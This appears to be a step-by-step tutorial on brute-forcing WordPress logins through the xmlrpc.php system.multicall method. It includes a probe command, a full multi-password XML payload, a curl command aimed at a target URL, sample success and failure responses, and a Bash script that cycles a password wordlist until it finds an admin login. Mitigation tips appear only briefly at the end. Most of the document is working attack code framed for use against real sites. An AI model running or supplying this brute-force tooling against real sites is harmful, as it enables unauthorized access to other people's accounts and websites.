The xmlrpc.php
file in WordPress is designed to handle remote procedures, such as pingbacks, trackbacks, and remote access via the WordPress mobile app or other external clients. However, this feature is often targeted by attackers due to its potential for exploitation, including brute-force attacks, DDoS attacks, and information disclosure vulnerabilities.
This guide outlines the process of exploiting the wordpress_xmlrpc_login
vulnerability, typically used for brute-force password guessing via the system.multicall
method in the XML-RPC API.
Step 1: Identify the Target and the Vulnerability
- Target Identification: First, find a WordPress site that has the
xmlrpc.php
file exposed. You can check for its presence by sending a simple request.Run the following curl
command to verify if xmlrpc.php
is available:
curl -I http://example.com/xmlrpc.php
If the file exists, you will receive an HTTP 200 OK
response.
Example output:
HTTP/1.1 200 OK
Date: Mon, 25 Sep 2023 12:00:00 GMT
Server: Apache
X-Powered-By: PHP/7.4.23
Content-Type: text/html; charset=UTF-8
If the file is not found, you will get a 404 Not Found
response.
Step 2: Understand the xmlrpc.php
Functionality
The xmlrpc.php
file can handle multiple remote procedure calls (RPCs) in a single request. Attackers often abuse this functionality via the system.multicall
method, which allows them to send multiple authentication attempts in a single HTTP request. This is faster and more efficient for brute-force attacks compared to traditional single-login brute-force attempts.
Step 3: Prepare the WordPress Brute-Force Exploit via XML-RPC
In this step, you’ll exploit the system.multicall
function to brute-force WordPress credentials.
- Target: WordPress login via
xmlrpc.php
- Attack Type: Brute-force login attack using multiple username/password combinations in a single request
Example of an XML-RPC
Brute-Force Request:
You need to craft a request that uses the system.multicall
method to send multiple authentication attempts in a single request.
Here’s an example request body for brute-forcing the login:
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value>
<array>
<data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data>
</array>
</value>
</data>
</array>
</value>
</member>
</struct>
</value>
<value>
<struct>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value>
<array>
<data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data>
</array>
</value>
</data>
</array>
</value>
</member>
</struct>
</value>
<!-- You can add more username/password attempts here -->
</data>
</array>
</value>
</param>
</params>
</methodCall>
In the above payload, we attempt two login requests using the wp.getUsersBlogs
method, where we try the username admin
with two passwords: password1
and password2
.
Step 4: Send the Brute-Force Request via curl
Now, use curl
to send the XML-RPC request containing multiple authentication attempts:
curl -X POST http://example.com/xmlrpc.php \
-H "Content-Type: text/xml" \
--data @bruteforce.xml
In this command:
- bruteforce.xml is the file containing the brute-force XML payload created in Step 3.
- Replace
http://example.com
with the target WordPress site’s URL.
Step 5: Analyze the Response
Once the request is sent, analyze the response to determine if any login attempts were successful. If one of the authentication attempts is valid, the server will respond with a valid session or user information.
Example success response:
<methodResponse>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>isAdmin</name>
<value><boolean>1</boolean></value>
</member>
<!-- Other user details -->
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodResponse>
If none of the login attempts succeeded, the server may return an error response like this:
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>403</int></value>
</member>
<member>
<name>faultString</name>
<value><string>Incorrect username or password.</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
Step 6: Automate the Brute-Force Attack
You can automate this process using tools like wpscan or Hydra, but here’s a simple automation using Bash scripting and curl
for continuous brute-force attempts:
#!/bin/bash
# Set target and credentials file
TARGET="http://example.com/xmlrpc.php"
USER="admin"
WORDLIST="/path/to/passwords.txt"
# Loop through the passwords
while IFS= read -r PASSWORD; do
# Create the XML payload dynamically
PAYLOAD=$(cat <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member>
<name>params</name>
<value>
<array>
<data>
<value>
<array>
<data>
<value><string>$USER</string></value>
<value><string>$PASSWORD</string></value>
</data>
</array>
</value>
</data>
</array>
</value>
</member>
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodCall>
EOF
)
# Send the request and capture the response
RESPONSE=$(curl -s -X POST $TARGET -H "Content-Type: text/xml" --data "$PAYLOAD")
# Check if the response contains success
if [[ $RESPONSE == *"isAdmin"* ]]; then
echo "[+] Password found: $PASSWORD"
exit 0
else
echo "[-] Failed: $PASSWORD"
fi
done < "$WORDLIST"
This script will try each password from the passwords.txt
wordlist until it finds the correct one.
Step 7: Mitigating the Attack
To prevent this kind of exploitation, site administrators can implement the following protections:
- Disable
xmlrpc.php
: If not required, you can completely disable the xmlrpc.php
file.
- Rate Limiting and Login Lockout: Implement login rate-limiting and lockout mechanisms to prevent brute-force attempts.
- Two-Factor Authentication (2FA): Add 2FA for additional security.
- Use Strong Passwords: Ensure all user accounts use strong passwords that are difficult to brute-force.
- Security Plugins: Use security plugins like Wordfence or Sucuri to monitor and protect against brute-force and XML-RPC attacks.